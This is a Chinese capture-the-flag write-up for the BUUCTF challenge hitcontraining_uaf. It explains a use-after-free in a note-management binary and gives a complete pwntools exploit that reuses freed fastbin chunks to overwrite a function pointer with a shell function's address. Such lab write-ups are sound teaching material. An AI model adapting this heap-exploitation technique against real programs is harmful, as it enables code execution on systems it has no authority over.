[BUUCTF-pwn]——hitcontraining_uaf
- 题目地址:https://buuoj.cn/challenges#hitcontraining_uaf
题目给了提示,一个利用UAF漏洞的题目
还是先checksec一下
在IDA中,三个比较关键的函数
我们可以发现add会申请两次内存,第一次申请8个字节,前四个字节指向print_note_content这个函数, 后四个字节指向我们写入的字符串(count会加1)
delete则会将刚才申请的两块空间给删除(count不会减一), 但是并不会指向NULL
printf函数会调用add申请的第一个8个字节中的前四个字节指向的函数
思路
首先我们可以先add两次第一个我们称为a, 第二个称为b, 注意内容的大小一定要超过8, 这里我们取40,分别为A, B
然后delete掉a(free A, a), 再delete b(free B, b), 这个时候如果我们再次add一个c,并且内容大小设为8
那么第一个8个字节c其实就是b, 就是我们第二个8个字节C其实就是a
这个时候我们写进去的东西就会覆盖原有的, 但是原先的指针仍然指向它.
我们就可以可以将print_note_content函数, 改为我们想要执行的函数了
(这个因为比较小输入fast bin范畴, 所以是先进后出.)
from pwn import*
p=remote('node3.buuoj.cn',26828)
#p = process('./hacknote')
#gdb.attach(p)
def add(size,content):
p.sendlineafter('choice :','1')
p.sendlineafter('Note size :',str(size))
p.sendlineafter('Content :',content)
def delete(index):
p.sendlineafter('choice :','2')
p.sendlineafter('Index :',str(index))
def printf(index):
p.sendlineafter('choice :','3')
p.sendlineafter('Index :',str(index))
shell_addr=0x8048945
add(40,'aaaa')
add(40,'bbbb')
delete(1)
delete(0)
add(8,p32(shell_addr))
printf(1)
#第二种思路大家也可以看一下
#add(8,'aaaa')
#delete(0)
#delete(0)
#add(40,'aaaa')
#add(8,p32(shell_addr))
#printf(1)
p.interactive()